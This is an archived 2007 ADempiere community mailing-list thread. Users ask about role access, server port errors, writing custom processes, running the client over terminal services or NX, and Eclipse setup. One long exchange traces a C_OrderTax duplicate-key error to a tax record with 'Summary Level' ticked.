2007-03-15 12:47:20 UTC

oke ... they all works !! thanks for all :-)

2007-03-16 14:04:27 UTC

Hi,

I have been trying to commit the Posterita Webstore under the contribution folder but was not successful.

I have got an email saying:

>The reason it is being held:
> Post by non-member to a members-only list

>Either the message will get posted to the list, or you will receive
>notification of the moderator's decision.

Till now I have not get any response and I have not been able to commit the codes.

Can anybody please check this.

Thanks a lot
Vishee

2007-03-16 20:16:32 UTC

Hi Vishee,

>I have been trying to commit the Posterita Webstore under the contribution folder but was not successful.

>
>I have got an email saying:
>
>>The reason it is being held:
>> Post by non-member to a members-only list
>
>>Either the message will get posted to the list, or you will receive
>>notification of the moderator's decision.
>
>Till now I have not get any response and I have not been able to commit the codes.
>
>Can anybody please check this.

I have checked and found that you are in this list:

List of non-member addresses whose postings should be automatically accepted.

It points to this email address: gvishi At users.sourceforge.net

I hope that this problem is solved now.

Kind regards,
Trifon

2007-03-17 10:29:14 UTC

I have created a new window with system admin role . i can access it with the systme admin role but when i try to access it with golden world admin role it get the error. With your current role and settings you can't view this information...

In the role window access tab the garden admin role is defined to access the new window.

The new window has no accounting data, i cheked up all the check boxes in the prefernces window.

I tried updapting role access but no result
Help

2007-03-17 13:47:38 UTC

Hi,
I solved it by changing access level from 6 to 1 for this window based table. So what is access level. ito goes from 1 to 7 i think

2007-03-17 09:05:40 UTC

Hi,
Testing server button on the admpiere client on linux machine gives a jnp naming error,

database server is ok.

On Others windows machine on the same LAN, it works for both servers (become green). I disabled linux firewill, i tried with ip adress also. The port is 1099, locally and on other windows machines it works with this port.

Have anyone faced this issue before ?

2007-03-17 09:05:40 UTC

Hi,

Testing server button on the admpiere client on linux machine gives a jnp naming error, database server is ok.

On Others windows machine on the same LAN, it works for both servers (become green). I disabled linux firewill, i tried with ip adress also. The port is 1099, locally and on other windows machines it works with this port.

Have anyone faced this issue before ?

2007-03-17 10:00:28 UTC

This is because you -the user running setup- have not the privileges to open the port or the port is already open.

Check if the 1099 port is open and not occupied by any other application (netstat -tlp).

As an alternative, you can simply change the port to some other number (bigger than 1024, if you haven't got the root privileges).

Hope this solves the problem.

Warm regards,

Bahman

2007-03-17 13:55:37 UTC

Hi,

The setup on server was good. it works for all windows clients connected via LAN to that server on port 1099. The problem remains only for a linux client machine mandriva(firwall stopped), in this machine i can access database but not the server. this is a problem specially for accounting posting

2007-03-17 16:34:27 UTC

hi all,

i'm new in the forum, i'll present myself.

Sorry for my english!

I'm db and system administrator in a aftermarket society, i develop in java, i teach information tecnologies. I've been studing compiere for two year and adempiere since it born. I've installed compiere/adempiere on linux and XP, on oracle, oracleXE,

postgreSQL and EnterpriseDB. I can compile compiere/adempiere from source and i can run it from within eclipse. I read everything published on compiere/adempiere, i now the db's structure and i navigate in the source for more and more time.

I'd like to propose adempiere to my society but i need to know more and it's better if i can debug as i always find bug and error in my installations.

I thanks everybody can help me to understand:

1. What is or what mean "callout"
2. Where are the methods called when i click the buttons in the window (example. "Save record" or "Delete record")
3. Where are the methods called when i start a process (example: Synchronize Terminology)
4. In dbPort/scr/.../model /** Generated Model - DO NOT CHANGE */; how generates it? (example: X_AD_****.java)
5. Where are the methods called when i click on menu's node? That one how generate windows and form?
6. Where i can find an example of code for calling stored procedures and functions?

PS. I think the better solution is Linux/Adempiere/PostgreSQL. Oracle is very very expensive and heat a lot of memory and processor time.

I thank you for the patience

PPS. Please help me to learn english too!

Francesco

2007-03-17 16:58:11 UTC

Hi Francesco,
Welcome to the Best Community on ERP Open Source!

Since u wana jump rite in, u can refer to more links as in the front page of <http://www.adempiere.org> or i have the CompiereSource101 tutorial listed in <http://www.adempiere.com/wiki/index.php/Red1.org>

Most of your questions are answered in these forums, and u ca just do a search.

Best Regards

red1

2007-03-17 17:04:47 UTC

Hi,

Please find some fery, very fast answers here:

<http://www.adempiere.com/wiki/index.php/Tutorials#FAQ>

I hope to find time and fill rest or someone else can fill them.

Kind regards,
Trifon

2007-03-17 17:26:27 UTC

Hi Francesco,

... and welcome to Adempiere community !

Below are the short answers for your questions:

1. What is or what mean "callout"

A callout class (extend CalloutEngine) groups different methods that are called when the column is changed ****using the UI****. For a column (see AD_Column.Callout), you may specify a list of fully qualified methods (separated by";").

2. Where are the methods called when i click the buttons in the window (example. "Save record" or "Delete record")

see org.compiere.apps.APanel class.

3. Where are the methods called when i start a process (example: Synchronize Terminology)

A process (see AD_Process) can be implemented in 3 ways:

- * bind to a database procedure
- * bind to a database class (extends SvrProcess [implements ClientProcess])
- * using both

For Synchronize Terminology, see the AD_Synchronize sql procedure.

For this, take a look at AD_Process table.

4. In dbPort/src/.../model /** Generated Model - DO NOT CHANGE */; how generates it? (example: X_AD_****.java)

See org.compiere.util.GenerateModel class.
For naming conventions, please search in wiki.

5. Where are the methods called when i click on menu's node? That one how generate windows and form?

That a long story...

see GridWindow[PO], GridTab[PO], GridField[PO], GridController classes.

6. Where i can find an example of code for calling stored procedures and functions?

Since the Adempiere core is implemented using Adempiere's Application Dictionary (see AD_* tables) any functionality from Adempiere could be an example that you will be able to reproduce, so take a look at the already created processes (see AD_Process table, or Report and Process window).

Best regards,
Teo Sarca

2007-03-17 17:36:22 UTC

Thanks,
i test the vitality of this community. Wonderfull!

There is a lot of document i never read in the red1's link, thanks.
Maybe do i start a FAQ section in wiky-tutorial? Thanks for the answers Trifon.

Best regards,
Francesco

2007-03-17 17:48:00 UTC

Thanks Teo.
Best Regards,
Francesco

2007-03-13 04:25:08 UTC

can we access plpgsql directly from adempiere ? or, if we want a new process how can we make it ? that process take a value from a form field....

Thanks in advance....

2007-03-13 05:46:55 UTC

pandjie,

> if we want a new process how can we make it ? that process take a value from a form field....

If you want to make a new process, all you need to do is to create a new class like below:
public class YourNewProcess extends SvrProcess {

```
protected void prepare () {  
.  
.  
.  
}
```

```
protected String doIt() throws Exception {  
.  
.  
.  
}  
}
```

and do what you want in 'prepare()' and 'doIt()' methods. Then through the 'Report and Process' window, create a new process with as many parameters as you wish. You can read the parameters' values in 'prepare()' method of your process class.

> can we access plpgsql directly from adempiere ?

I'm not sure about it but as far as I know each SQL statement gets converted to the host database specific syntax. Maybe this can provide you with the functionality you need.

Kind regards,
Bahman

2007-03-13 06:25:27 UTC

SvrProcess i don't know what class it is. what jar file should i import ? and where does it locate ??

2007-03-13 06:26:51 UTC

one more question, where should i locate my own class ??

Thanks.

2007-03-13 06:43:02 UTC

> SvrProcess i don't know what class it is. what jar file should i import ? and where does it locate ??

You need to import the 'org.compiere.process' package, in case you've setup your development environment with Eclipse or NetBeans -if not, take a look

at http://sourceforge.net/forum/forum.php?thread_id=1680666&forum_id=610548 -

> one more question, where should i locate my own class ??

When you create a new class, you can use existing packages to put the new class in or you may create a new package to suite your needs, e.g. 'com.yourcompanyname.process'.

Kind regards,
Bahman

2007-03-15 01:36:21 UTC

oke....I have created my eclipse development environment. if i want to make my own class in my package, where must i locate it ?

thnanks.

2007-03-15 06:46:13 UTC

In the 'Package Explorer' view right click on the ADempiere project and select 'New'->'Package'. There you can specify the name of the package and the source folder in which it will reside (you may create a new folder).

After creating the package, in the 'Package Explorer' view, you can right click on the project and select 'New'->'Class', there you can choose the package you wish the class be in.

You may also wish to take a look at Eclipse help, under 'Help'->'Help Contents'.

Warm regards,
Bahman

2007-03-17 01:39:11 UTC

can anyone give me just a simple sample code.(may be Just a class and displaying hello world) ???

2007-03-17 10:08:35 UTC

> can anyone give me just a simple sample code.(may be Just a class and displaying hello world) ???

For a process example just take a look at org.compiere.process; there are lots of processes in the package.

Hope this helps.

Warm regards,
Bahman

2007-03-18 16:08:49 UTC

ok, thanks. But now I have more question. How to load my process in admpiere ? how can i pass parameter(s) in text field, etc, to my process ?

thanks for you all...

2007-03-18 16:17:10 UTC

Hi Pandjie, is a good practice to put some info about your own research when asking in forums.

Please allow me to recommend you this reading:

<http://www.catb.org/~esr/faqs/smart-questions.html>

Regards,

Carlso Ruiz

2007-03-19 02:24:09 UTC

thanks globalqss, I can answer my own question now....

2007-02-26 01:23:40 UTC

Hi, I have three questions regarding remote use of adempiere:

1- How could i configure admpiere server and client to be used remotely with windows terminal services ? I tried to select terminal server in the adempiere client connection method but didn't work. I have set up a terminal services instance on windows 2000 server. the client is on windows xp.

2- How does the wan connection method work ?

3- How could i configure freenx on client and windows services on server ? is there a freenx server version for window ?

Thanks in advance

2007-02-26 11:41:23 UTC

1. The better solution is to install separate server for adempiere and install adempiere client on win2000 term.server. You must to know about Java loading in each separate terminal session (~200Mb). And You must create env.variables in each terminal window.

2. Simply create terminal connections to win2k term.serv.

3. No. There is only win.client to freenx term.server onto Linux/Solaris base.

2007-02-26 13:33:35 UTC

Thanks Andrejs,

>>>>1. The better solution is to install separate server for adempiere and install adempiere client on win2000 term.server. You must to know about Java loading in each separate terminal session (~200Mb). And You must create env.variables in each terminal window.

Could give more detail because i really don't find where to do it, i have adempiere server on windows 2000 server which also has the terminal server. and adempiere client is on xp. is there a document talking about this ? if not just some guidelines would help

Thanks

2007-02-27 13:40:50 UTC

>>i have adempiere server on windows 2000 server which also has the terminal server. and adempiere client is on xp.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

There is error. Adempiere client MUST be on terminal server!!!. on XP you must have only RemoteDesktop Connection or Terminal Client. That's all!

2007-02-27 14:54:21 UTC

Yes i can access the adempiere server and client with RemoteDesktop . but i don't know how to use it with the terminal client, not remotedesktop like freenex on the linux os

2007-02-28 13:42:36 UTC

I don't understand You, sorry.
Can describe more ?

2007-02-28 13:57:22 UTC

Hi,

I think there is a misunderstood here. Adempiere has no VPN or Terminal Service solution incorporated. The connection profile DOESN'T mean that the client will create a VPN, or will create a terminal service connection, BUT it will optimize the functionality for that profile. For example, when you select the Terminal Service profile, the Adempiere client will not show the glass pane when something is processing. So, the VPN or in your case, the Terminal Service SHOULD BE provided by THIRD PARTY, and Adempiere will optimize the functionality for that.

Also if your connection is slow, you can try WAN profile.

Best regards,
Teo Sarca

2007-03-01 11:01:21 UTC

Thanks Teo Sarca,

Now it is clear. Then the question would be how to set up adempiere on a windows terminal server ?

I searched on the be how to configure applications on termianl servers but the documentation is very poor.

2007-03-01 15:09:35 UTC

>>Then the question would be how to set up adempiere on a windows terminal server ?

First of all - how much client you are planning to work with adempiere?

Install Oracle (Postgres) + Adempiere server+ Adempiere client + Terminal services on same server is very not good decision , it can be recommende only for testing or firstlooking , no more (strong IMHO).

2007-03-01 16:31:15 UTC

Hi,

Now i want to try just with one client if success, I will use it with ten clients. I just want to know how to configure terminal services and adempiere. I have windows 2000 server and i activated teminal services on it. the hard is a hp xion 3,2. double processors

>>>>it can be recommende only for testing or firstlooking

Ok i will just test it and after i will move the terminal server to an other machine.

For linux the nx server could do it perfectly according to what i read and the live adempiere demo prove it but on windows there is poor documentation on tunneling applications on terminal server.

2007-03-01 19:07:40 UTC

Hi sami,

it seems i have to jumpin, maybe i can clarify something regarding windows terminalservices although i don't like them.

Ok, first thing you should know, it is impossible using MS technology to tunnel one specific application through MS TS (TerminalServices), for this purpose you have to use software by Citrix (damn expensive!).

But you maybe know the remote desktop capability by Windows XP, and this are actually terminal services (but with only one concurrent connection in case of XP).

So, you connect to the MS Terminal Server using the microsoft client mstsc or just rdesktop or tsclient under linux.

You have to login at the server (normal windows login prompt) using an existing and valid user on the server and you get the entire desktop as

if you would be in front of this machine (Ok, shutting down the server is by default disabled ;)).

You can then have your adempiere appserver and database on that server running and one adempiere client "installed" in a location fo your choice on the server.

This should work without any problems.

Splitting Terminal Server, app and db server is a wise recommendation by wellxriga. But as long as you evaluate one server is fine.

If you have any further questions regarding Windows Terminal Services, just ask. But well i am not a ActiveDirectory geek, dunno about huuuugeee setups this way hehe.

Best regards Johannes

2007-03-01 21:14:03 UTC

Hi Johannes,

I am able to run adempiere client with remote desktop like you described but it is not a good way. I do not want users access the server desktop.

If i can not do it i will have to move to linux sniff sniff. because the sites are distant.

I think most people use Adempiere locally that's why there is few support for remote use issues.

i could access adempiere on the wan (adsl, 1 mo, 256 k/s) but it is simply too slow that it is almost unusable that is why am looking ine the terminal server direction

2007-03-02 10:40:40 UTC

Some questions more:

>>I do not want users access the server desktop.

^^

It's Your big mistake - when you install any number of Terminal licensis then each user will connect to their separate desktop environment. It's not same that admins desktop with admins rights.

And more - you must split 2 terms - terminal connections and security for connection. Most advise will using VPN from your ISP or if it impossilble , You con make youw own infrastructure based on routers (Cisco,Juniper, Linksys or) . It will also more secure and stable against organize secure connect by Windows tools . It also my strong opinion by long time experiance .

2007-03-02 22:02:20 UTC

Thanks a lot Andrejs,
I understand what you mean.

Now after some try and search work i can conclude that :

- The one real way to run adempiere on windows terminal services is remote desktop and it is almost impossible to run it by configuring the terminal server in application server mode (like nx server mode not remote desktop). I found that some asp providers use remote desktop with windows server to give compiere access to there clients

- NX server and Linux do it very well see the adempiere on line demo. I have just download fedora 6. is it a good distribution for adempiere server ?

- Perhaps it will be soon time to think of an other way to proceed if we want to come definitively over remote connection issues : web client (ajax way, jee, etc)or other thin client. Surely this excellent active community can perfectly accomplish it.

2007-03-02 23:14:58 UTC

Sami:

I would not recommend Fedora for a server installation, this is distribution for testing purposes.

There are many considerations regarding choosing a Linux distribution:

Oracle certified:

If you will be using Oracle and want to have official support then you must use Red Hat or Suse.

But if you want to use Adempiere with postgresql you have a lot of options

My vote will go to one of these distributions:

Mandriva (my favorite)
Ubuntu (currently the most popular linux distribution)
Debian (ancient stable distribution)
CentOS (excellent red hat clone)

and if you are addicted to some pain, you may try with slackware and gentoo.

Good luck!

2007-03-03 00:40:33 UTC

Hi moyses,
Yes mandriva seems interesting !

Mandriva have a free distribution and a paid powerpack one, do you think the free distribution is enough for server usage ?

2007-03-05 13:39:35 UTC

Hi Sami!

We was install all Yor needed configuration (Oracle+freeNx=Adempiere(compiere)) on CentOS 4.3,4.4.

There was only some problem - do not all versions of nxclient can work correctly with newest vers. of freeNx from CentOS repos. You will must find that work from google ;))
NExt possible truble is mapping printers from WinClient to Centos. And, may be, when your winclient placed outside local network. But I think there is correct way how it to do.

2007-03-17 08:55:15 UTC

Hi Andrejs,

My configuration now is as you recommand :

- * Adempiere server + oracle DB on windows 2003 server
- * Client + nx server on linux machine

Now i can access to the Desktop of the linux machine via nx client but i want distant user lantch only adempiere client and not see the whole desktop like the adempiere online demo (with two possibilities : nx client, nx compagnon)

2007-03-19 11:37:35 UTC

Hi,

I get all now work fine.

Thanks all

Andrejs : know i understand very well what you were saying ;) thanks

2007-03-19 04:44:16 UTC

Hello all,

We are closing in on a stable release 3.2. But there remain quite a few bugs to fix before we could really call it stable.

If you can volunteer to help with a bug or two in the next couple of days, please sign up here:

http://www.adempiere.com/wiki/index.php/Contributors_Needed-Sign_Up_Here

We need developers and testers. If you place your name in the wiki, someone from the CC will assign trackers to you to follow up on.

Contributors Are Priceless! Brand yourself now.

Many thanks,

Joel Stangeland

2007-03-19 04:57:00 UTC

Hi Joel,

I am interested in Testing. I do not have any technical knowledge. I am good in functional areas in Adempiere. Please add me to the testing list.

GHAT (Harinda)

2007-03-19 06:18:05 UTC

Hi Joel,

I have signed up for testing (I would prefer to debug, but I am not that far right now).

As I am quite new to Adempiere, please give me first simple tests. We have been working mainly with the AD, Accounting, Sales, Purchases. AND: we only have Oracle 10g running. For Postgress we lack the personal clout.

1.- I see there is a "tracker"
page(https://sourceforge.net/tracker/?group_id=176962&atid=879334). Is this the right one?

2.- How will I be informed of what I have to test? (looking at this page I believe, but maybe there are other means)

3.- Is there a time frame for each test?

4.- Is there a form that documents how it has to be tested? If not, we should agree on some form, so others can follow, control and take over testing if somebody leaves a test for whatever reason.

5.- How will we get the tag to be tested (or is 3.1.5)?

Best Regards,
Mario Calderon

2007-03-19 09:23:29 UTC

Hi Mario,

i will try to give you some answers.

> 1.- I see there is a "tracker"

>page(https://sourceforge.net/tracker/?group_id=176962&atid=879334). Is this the right

one?

Here you can see all categories:

https://sourceforge.net/tracker/?group_id=176962

At this moment i believe that most important is bugs category/tracker.

>2.- How will I be informed of what I have to test? (looking at this page I believe, but maybe there are other means)

When someone assign bug for testing to you, you will receive email. Email is sent on each modification of tracker.

>3.- Is there a time frame for each test?

As this is free project and as you are providing help only from your good will... no one can set you time frame or push you. The only time frame is dead line for 3.1.5 version...

>4.- Is there a form that documents how it has to be tested? If not, we should agree on >some form, so others can follow, control and take over testing if somebody leaves a test >for whatever reason.

5.- How will we get the tag to be tested (or is 3.1.5)?

Kind regards,
Trifon

2007-03-19 21:16:51 UTC

Hi Mario, and all people subscribing to contribute with testings and bug fixings.

For testers:

I think the best can be to follow the map started by Victor Perez here (still incomplete):
http://www.adempiere.com/wiki/index.php/Quality_Control_Cycle

My idea is to have feedback on testings of main processes / windows / functionalities within Adempiere.

The best will be if Quality Control can be achieved via a matrix (pending in wiki)
Functionality vs Platform

It's very important that testers mention the platform to be tested, i.e.:
server (linux + oracleXE) / client (windowsXP+java1.5.0.11)
it's just an example, please put the platform for your testings

I think the best can be testers subscribe by yourselves to test a functionality in a platform.
And put in the wiki the result, i.e.:

- passed
 - bugs XX, YY
-

For developers:

There are volunteers already created in sf as developers, please assign yourselves the bug what you're going to look for (or let me know your expertise area to assign you proper bugs).

For contributors not created as developers in sourceforge, I'll propose that you take a bug, put a comment stating that you're going to work on that, and then attach a patch to the bug. Someone of the CC will take your patch to evaluate it and integrate it into trunk. Good bug catchers will have permissions to commit once evaluated.

Remember, I'm always open to hear opinions from community.

Thank you all. Please don't forget our goal, release the most stabler version ever seen :-)
We can do it.

Regards,

Carlos Ruiz

2007-03-20 00:09:49 UTC

I also added some info to the wiki on how people can get started helping with QA... see getting started at http://www.adempiere.com/wiki/index.php/ADempiere#Quality_Assurance

colin

2007-03-20 09:27:04 UTC

Hello!

I have Adempiere 315 and import the project into eclispe. But here has some erroe cannt solve.

1. the print project cannot find org.adempiere.pdf. package. And I cant find it in workspace? Can someone tell me where to find it

thanks alot!!!

feng jun
2007-03-20

2007-03-20 09:36:34 UTC

it's there in SVN!

If you browse the print subproject (directory) you will see it.

There may have been a problem with the import ... can you not checkout the code directly into eclipse?

I find that easier...

colin

2007-03-21 01:14:01 UTC

Thanks a lot,I checkout the code in eclipse ,and solve the problem.

The problem is cause by the code does not download complete.

2007-03-21 01:18:18 UTC

Hello:

I have download the code into eclipse and no errors in build.But when I want to start debug code from project dbport ,the adempiere.java program,the eclipse return an error:
Variable references no-existen resource\${workspace_loc:_production}

Can anyone tell me how to define this Variable????

fengjun

2007-03-21

2007-03-21 03:13:03 UTC

I couldn't work out where to define it either -- so I just went into the Debug configuration and deleted the argument that included it. It seems to just provide a means of selecting which properties file is used and works fine without it.

Let me know if you learn the "proper" way of doing it.

Regards,

Paul Bowden

2007-03-21 06:18:01 UTC

Hi,

>Variable references no-existen resource\${workspace_loc:_production}

>

>Can anyone tell me how to define this Variable????

Usually structure of my projects looks like this:

```
<some root>/3.1.3/_production/Adempiere -- here i have instalation of Adempiere 3.1.3  
<some root>/3.1.3/base  
<some root>/3.1.3/dbPort  
<some root>/3.1.3/...
```

```
<some root>/3.1.4/_production/Adempiere -- here i have instalation of Adempiere 3.1.4  
<some root>/3.1.4/base  
<some root>/3.1.4/dbPort  
<some root>/3.1.4/...
```

By this way all projects are self containing. I have all necessary for the project under one root.

You can alter `${workspace_loc:_production}` and set proper variable or full path to your Adempiere.properties file.

Kind regards,
Trifon

2007-03-22 04:21:46 UTC

Hi the summary exec and full meeting of commit committee on 2007-03-20 was published in wiki:

http://www.adempiere.com/wiki/index.php/CC_Meeting_Exec_20070320

Regards,

Carlos Ruiz

2007-03-22 06:43:28 UTC

Hello:

When I debug dbProt project, the getImageLogo function in Adempiere.java program have

statment like follow:

```
URL url = org.compiere.Adempiere.class.getResource(s_file100x30);
```

and in debug congdition the url is return with `"/D:/adempiere-all/client/build/org/compiere/images/AD10030.png"`;

As I understand ,the getResource function should return the path in dbPort, and in this condtion should return null, and I try it in a test java program ,the debug show it return null.

Can someone could help me ,solve this problem??

Thanks a lot

fengjun

2007-03-22 14:19:05 UTC

Hi,

I tried to check out Adempiere as described on the Sourceforge page, but once it stopped at file:

A contributions/izpack/ADempiere/images/carpeta sin tÃ tulo

Then I figured out that if I do:

```
export LC_ALL=en_US.UTF-8
```

and then continue with "svn update" , it works.

Could somebody mention it on the sourceforge page?

Of course the appropriate locale has to be installed on the machine.

Rgds,
Akos

2007-03-21 11:22:52 UTC

Hi,

I cannot process invoices and sales orders anymore (after I successfully completed two). We run Adempiere 3.1.4 on postgresql and Windows 2000. Would migration to Adempiere 3.1.5 solve this problem?

I get the following error message:

```
DB.saveError: DBExecuteError - ERROR: duplicate key violates unique constraint
"c_ordertax_pkey" [20]
-----
-----> MOrderTax.saveNew: [WF_fc6dabd3-44e7-4771-87f4-6fb78ec76e04]Not
inserted - C_OrderTax [20]
=====> DB.executeUpdate: UPDATE C_Order SET C_DocType_ID=1000028,
DocStatus='IN', Volume=0.00, Weight=0.00,Updated=TO_TIMESTAMP('2007-03-21
10:44:45','YYYY-MM-DD HH24:MI:SS'),UpdatedBy=0 WHERE
C_Order_ID=1000006 [WF_fc6dabd3-44e7-4771-87f4-6fb78ec76e04] [20]
org.postgresql.util.PSQLException: ERROR: current transaction is aborted, commands
ignored until end of transaction block; State=25P02; ErrorCode=0
at
```

```
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1548)
at
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1316)
)
at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:191)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:452)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:351)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeUpdate(AbstractJdbc2Statement.java:305)
at sun.reflect.GeneratedMethodAccessor27.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at
org.postgresql.ds.jdbc23.AbstractJdbc23PooledConnection$StatementHandler.invoke(AbstractJdbc23PooledConnection.java:471)
at $Proxy3.executeUpdate(Unknown Source)
at org.compiere.util.CPreparedStatement.executeUpdate(CPreparedStatement.java:178)
at org.compiere.util.DB.executeUpdate(DB.java:989)
at org.compiere.util.DB.executeUpdate(DB.java:896)
at org.compiere.model.PO.saveUpdate(PO.java:2084)
at org.compiere.model.PO.save(PO.java:1793)
at org.compiere.wf.MWFActivity.performWork(MWFActivity.java:821)
at org.compiere.wf.MWFActivity.run(MWFActivity.java:711)
at java.lang.Thread.run(Unknown Source)
```

2007-03-21 14:08:47 UTC

Hi gunda!

It seems that you may need to run the Sequence Check process. Enter as System administrator, and execute this process. this may fix this problem.

Best Regards

2007-03-21 14:35:33 UTC

Hi Moyses,

Many thanks for your quick response. I did what you suggested but still have the same problem. After running the sequence check, re-logging in, I clicked on complete, to complete an invalid sales order. On the bottom left corner, it returned "error calculating tax". There are also a couple of log files but I do not know which is important for you to

help me sorting this out. Do you have any other suggestions I could try?

Otherwise, I am very impressed by Adempiere!

2007-03-21 16:28:24 UTC

Hi Gunda,

>There are also a couple of log files but I do not know which is important for you to help me >sorting this out.

You can go to Tools -> Preferences menu increase log level if it is not at FINE or ALL in order to ghet more verbose messages.

Preferences window -> Tab "Errors" has button "Save to File". In order to get all messages you need to click on button "Erros Only".

Kind regards,

Trifon

2007-03-21 19:17:55 UTC

Hi Trifon,

There is lots of information but we think the following identifies the problem:

the following SQL statement

DB.executeUpdate:

```
INSERT INTO C_OrderTax
(TaxBaseAmt,Updated,CreatedBy,
AD_Client_ID,C_Order_ID,TaxAmt,
AD_Org_ID,C_Tax_ID,UpdatedBy,
IsActive,Created,IsTaxIncluded,Processed)
VALUES (1581.57,TO_TIMESTAMP('2007-03-21 15:07:30','YYYY-MM-DD
HH24:MI:SS'),0,
1000000,1000006,276.77,
1000000,1000000,0,
'Y',TO_TIMESTAMP('2007-03-21 15:07:30','YYYY-MM-DD HH24:MI:SS'),'N','N')
```

results in the following error

org.postgresql.util.PSQLException:

```
ERROR: duplicate key violates unique constraint "c_ordertax_pkey";
State=23505;
ErrorCode=0
```

The c_ordertax_pkey is a Primary key that is made up of c_order_id and c_tax_id

As the id sequences start at 1000000
it would appear that the c_tax_id is not being incremented

Why would that be?

is there a way to check that this is being incremented?

How do I check the c_tax_id and where do I find out where the c_tax_id is coming from?

Thanks,
Gunda

2007-03-21 20:32:59 UTC

Hi Gunda,

which user are you using when entering document?

System?

If so please login as SuperUser.

System user is very dangerous to use when entering data.

I think that you use System as i see that as id for CreatedBy system set 0.

>How do I check the c_tax_id and where do I find out where the c_tax_id is coming from?

You can find c_tax_id in C_Tax table.

Kind regards,
Trifon

2007-03-21 21:47:53 UTC

Hi

Logged in as superuser but this did not make any difference to the result.

```
INSERT INTO C_OrderTax
```

```
(TaxBaseAmt,Updated,CreatedBy,AD_Client_ID,C_Order_ID,TaxAmt,AD_Org_ID,C_Tax_ID,UpdatedBy,IsActive,Created,IsTaxIncluded,Processed) VALUES
```

```
(1581.57,TO_TIMESTAMP('2007-03-21 21:34:32','YYYY-MM-DD
```

```
HH24:MI:SS'),100,1000000,1000007,276.77,1000000,1000000,100,'Y',TO_TIMESTAMP('2007-03-21 21:34:32','YYYY-MM-DD HH24:MI:SS'),'N','N')
```

Please note that the AD_Client_ID and AD_Org_ID and C_Tax_ID fields are not incrementing. (see last post)

Why would that happen? (That's to say is there a flag or field or check box that needs to be enabled for these fields to increment?)

Is there a way to check or force that these fields are being incremented?

Why do I get the message "Error calculating tax" at the bottom of the sales order screen when the tax amount is calculated correctly in the SQL Query?

Why is the IsTaxIncluded field set to 'N' (I am assuming N means NO) when it is and a Tax amount in the TaxAmt field is correctly calculated?

We very much appreciate any help to get this problem resolved!

2007-03-21 21:56:49 UTC

Gunda:

Have you tried with garden world creating new sales order, new taxes etc?

First time that I heard of such problem.

Best Regards

2007-03-21 22:31:40 UTC

Hi Gunda,

>Please note that the AD_Client_ID and AD_Org_ID and C_Tax_ID
>fields are not incrementing. (see last post)

This is correct.

AD_Client_ID, AD_Org_ID and C_Tax_Id must not increment. Why do you expect to see them changing?

AD_Client_ID - points to Client (Company where system is installed)

AD_Org_ID - points to Organization (Head Quarter or any other defined in company)

C_Tax_ID - points to Tax define din the system

>Why would that happen? (That's to say is there a flag or field or check box that needs to
>be enabled for these fields to increment?)

No.

>Is there a way to check or force that these fields are being incremented?

>

>Why do I get the message "Error calculating tax" at the bottom of the sales order screen
>when the tax amount is calculated correctly in the SQL Query?

This is strange. can you post more lines from log error?

>Why is the IsTaxIncluded field set to 'N' (I am assuming N means NO) when it is and a
Tax >amount in the TaxAmt field is correctly calculated?

I think that this is regarding Price List.

Kind regards,
Trifon

2007-03-22 01:32:36 UTC

When you complete an order document the MOrder.calculateTaxTotal() method is called which calls MOrderTax.save() which your initial error log suggests is the source of the problem. This includes the following code:

```
DB.ExecuteUpdate("DELETE C_OrderTax WHERE C_Order_ID=" + getC_Order_ID(),  
get_TrxName());
```

If this update succeeds then there should be no problem with duplicate keys because any records matching the order should have been deleted. Try running the sql through psql eg:

```
DELETE C_OrderTax WHERE C_Order_ID={INSERT C_ORDER_ID HERE};  
commit;
```

and then attempt to complete the order. If this succeeds there may be a problem with the postgres update.

Regards,

Paul

2007-03-22 18:28:57 UTC

Hi

I have done it on the virtual machine adempiere 3.11 virtual appliance on a separate windows xp home system so this works on the garden world. But this is not on a postgres database.

The problem is on our live system which is on postgres 8.2 db and windows 2000 sp 4.

I have run the sql command
DELETE FROM adempiere.c_ordertax WHERE c_order_id = 1000007;
commit;
and the row is no longer in the table I.E.
SELECT * FROM adempiere.c_ordertax WHERE c_order_id = 1000007 ;
does not return a row now.

I am still not able to process a sales order (or sales invoice).

I have also noticed that the order tax (tab)is not being completed even though it is calculating order and the tax correctly.

I have a slight problem with posting the logs in full as they contain private/confidential information. What would be the best approach to get the information in them to you without violating privacy.

I am at a loss as how to progress.
thanks for the help so far.

2007-03-22 19:53:59 UTC

Hi,

We solved the problem!! When implementing a system such as this, I can highly recommend to run the Gardenworld Example in parallel. I found it highly useful to have Adempiere Virtual installation running on my laptop while working with Adempiere on the desktop. I compared the tax settings of Gardenworld with ours and found the problem: I had checked the boxes "Summary Level" and "Document Level" for the output tax. There was no other output (sales) tax defined. As a result, the tax was correctly calculated at document level (bottom of sales order window) but when processing the sales order, it could not find a tax rate.

In retrospect, I understand now, that when summary level is ticked, the tax becomes a parent tax. The tax rate is not used for processing the tax when processing (completing) the sales order or invoice.

I would recommend that a brief explanation is added to the help window (fields description table). Also, I think that it should only be possible to tick either Summary Level or Document Level, not both. This might be useful for Kindergarten-users such as me!

To all of you who helped, I am really grateful for all your help! Thank you so much.

I am busy putting together some basic instructions on the business process side that I am

planning to put on Wiki. At current, it is very much in draft state. It is meant to become a manual for our system but I realised it might be helpful for others too.

Gunda

2007-03-22 20:27:18 UTC

Hi Gunda, I think the right place to annotate your finding is here:

http://adempiere.com/wiki/index.php/ManPageW_TaxRate#Contributions

Just edit the wiki page and make your annotations in contribution section, it will be great for community to have your findings.

In future I think we're going to integrate an online help with every window to access the corresponding wiki page.

Regards,

Carlos Ruiz

2007-03-15 00:11:21 UTC

Hi!

Was reported bug -

http://sourceforge.net/tracker/index.php?func=detail&aid=1681041&group_id=176962&atid=879332.

How we can solve this problem?

Sergey Vishniakov

ADempiere.LV Team

2007-03-15 01:05:38 UTC

Thank you, Carlos.

Sergey Vishniakov

ADempiere.LV Team

2007-03-22 23:25:25 UTC

hi all,

i have adempiere compiled from trunk 21/03/07, xp and postgres 8.2

